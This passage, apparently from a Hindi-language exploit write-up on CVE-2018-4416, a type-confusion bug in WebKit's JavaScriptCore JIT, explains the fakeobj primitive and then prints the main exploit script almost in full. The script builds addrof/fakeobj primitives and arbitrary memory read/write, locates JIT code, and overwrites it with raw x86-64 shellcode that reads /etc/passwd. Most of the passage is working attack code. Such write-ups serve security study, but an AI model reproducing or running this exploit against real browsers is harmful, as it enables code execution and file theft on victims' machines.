स्पष्ट रूप से, यह पॉइंटर प्रारूप में है। अब हम किसी भी ऑब्जेक्ट को लीक कर सकते हैं!
*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: =fakeobj= प्राप्त करना =addrof= बनाने के लगभग समान है। अंतर यह है कि आपको =Uint32Array= में एक पता भरना होगा, फिर =fake_object= में =a= विशेषता के माध्यम से ऑब्जेक्ट प्राप्त करना होगा।
*** मनमाना R/W और शेलकोड निष्पादन :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: यह =WebKid= चुनौती के एक्सप्लॉइट स्क्रिप्ट के समान है। पूरी स्क्रिप्ट पंक्ति दर पंक्ति समझाने के लिए बहुत लंबी है। हालाँकि, आप इसे [[/assets/CVE-2018-4416.js][यहाँ]] पा सकते हैं। सफलतापूर्वक एक्सप्लॉइट करने के लिए आपको लगभग 10 राउंड प्रयास करने की आवश्यकता हो सकती है। सफल होने पर यह आपकी =/etc/passwd= फ़ाइल पढ़ेगा। यहाँ मुख्य कोड है:
#+begin_example // संकलित फंक्शन प्राप्त करें var func = makeJITCompiledFunction();
function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
// यहाँ टाइप कन्फ्यूजन है function opt(obj) { for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) {
tmp.__proto__ = {};
gc();
obj.__proto__ = {};
// कंपाइलर गुमराह हो जाता है कि obj और tmp एक ही प्रकार साझा करते हैं
return obj[k];
}
}
opt({});
// नियंत्रित करने योग्य मेमोरी बनाने के लिए Uint32Array का उपयोग करें // एक नकली ऑब्जेक्ट हेडर बनाएँ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);
debug(describe(fake_object))
// हमारी विशेषता को स्थिर करने के लिए JIT का उपयोग करें // addrof/fakeobj द्वारा विशेषता a का उपयोग किया जाएगा // मनमाना पढ़ने/लिखने के लिए विशेषता b का उपयोग किया जाएगा for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }
// addrof प्राप्त करें // हम fake_object को एक ऑब्जेक्ट पास करते हैं // चूंकि fake_object fake_object_memory के अंदर है और पूर्णांक के रूप में प्रस्तुत किया गया है // हम पूर्णांक मान पुनर्प्राप्त करने के लिए fake_object_memory का उपयोग कर सकते हैं function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }
// समान // लेकिन हम पहले पूर्णांक मान पास करते हैं, फिर ऑब्जेक्ट पुनर्प्राप्त करते हैं function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }
addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');
// पढ़ने/लिखने के लिए एक और नकली ऑब्जेक्ट बनाने के लिए fake_object + 0x40 का उपयोग करें var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;
var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }
// हम victim का उपयोग कंटेनर ऑब्जेक्ट के बटरफ्लाई पॉइंटर के रूप में करेंगे victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)
// कंटेनर को fake_object.b में ओवरराइट करें container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b
var origButterfly = hax[1];
var memory = { addrof: addrof, fakeobj: fakeobj,
// दिए गए पते पर एक int64 लिखें।
// हम victim के बटरफ्लाई को addr + 0x10 में बदलते हैं
// जब victim पॉइंटर विशेषता बदलता है, तो यह बटरफ्लाई - 0x10 पढ़ेगा
// जो addr + 0x10 - 0x10 = addr के बराबर है
// मनमाना मान पढ़ना लगभग समान है
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// दिए गए पते पर एक 2 बाइट का पूर्णांक लिखें। लिखे गए पूर्णांक के बाद 6 अतिरिक्त बाइट्स को दूषित करता है।
write16(addr, value) {
// विक्टिम ऑब्जेक्ट का बटरफ्लाई सेट करें और डीरेफरेंस करें।
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// दिए गए पते पर कई बाइट्स लिखें। अंत के बाद 6 अतिरिक्त बाइट्स को दूषित करता है।
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// एक 64 बिट मान पढ़ें। केवल उन बिट पैटर्न के लिए काम करता है जो NaN का प्रतिनिधित्व नहीं करते हैं।
read64(addr) {
// विक्टिम ऑब्जेक्ट का बटरफ्लाई सेट करें और डीरेफरेंस करें।
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// सत्यापित करें कि मेमोरी पढ़ने और लिखने के प्राइमिटिव काम करते हैं।
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
memory.test(); debug("[+] limited memory read/write working");
// JIT कोड पता प्राप्त करें
debug(describe(func))
var funcAddr = memory.addrof(func);
debug([+] shellcode function object @ ${funcAddr});
var executableAddr = memory.read64(Add(funcAddr, 24));
debug([+] executable instance @ ${executableAddr});
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug([+] JITCode instance @ ${jitCodeObjAddr});
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug([+] JITCode @ ${jitCodeAddr});
// हमारा शेलकोड var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]
var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);
// शेलकोड लिखें shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);
// ट्रिगर करें और /etc/passwd प्राप्त करें func(); print() #+end_example